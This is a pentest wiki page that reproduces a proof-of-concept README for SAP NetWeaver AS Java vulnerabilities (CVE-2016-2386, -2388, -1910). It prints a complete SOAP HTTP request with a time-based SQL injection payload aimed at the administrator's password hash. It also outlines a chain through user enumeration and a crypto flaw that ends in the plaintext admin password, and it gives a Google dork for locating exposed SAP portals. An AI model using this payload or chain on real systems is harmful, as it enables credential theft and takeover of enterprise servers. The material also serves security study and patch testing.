Exploit

https://github.com/vah13/SAP_exploit

SAP_exploit

Author: Vahagn Vardanyan https://twitter.com/vah_13

Bugs:

CVE-2016-2386 SQL injection

CVE-2016-2388 Information disclosure

CVE-2016-1910 Crypto issue

Follow HTTP request is a simple PoC for anon time-based SQL injection (CVE-2016-2386) vulnerability in SAP NetWeaver AS Java UDDI 7.11-7.50

  
    POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
    SOAPAction:
    Content-Type: text/xml;charset=UTF-8
    Host: nw74:50000
    Content-Length: 500

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sec="http://sap.com/esi/uddi/ejb/security/">
	  <soapenv:Header/>
	  <soapenv:Body>
		<sec:deletePermissionById>
		  <permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='1</permissionId>
		</sec:deletePermissionById>
	  </soapenv:Body>
    </soapenv:Envelope>

In SAP test server I have admin user who login is "Administrator" and so I used this payload

most SAP's using j2ee_admin username for SAP administrator login

You can get all SAP users login using these URLs (CVE-2016-2388 - information disclosure)

Instead of J2EE_CONFIGENTRY table you can use this tables

An example of a working exploit

And finaly using CVE-2016-1910 (Crypto issue) you can get administrator password in plain text

CVE-2016-2386

[PDF whitepaper] https://erpscan.com/wp-content/uploads/2017/12/Hardcore-SAP-Penetration-Testing.pdf

[SAP-Google-Dork] inurl:/irj/portal

PreviousSAP PentestNextSQLi Avanzado

Last updated

Was this helpful?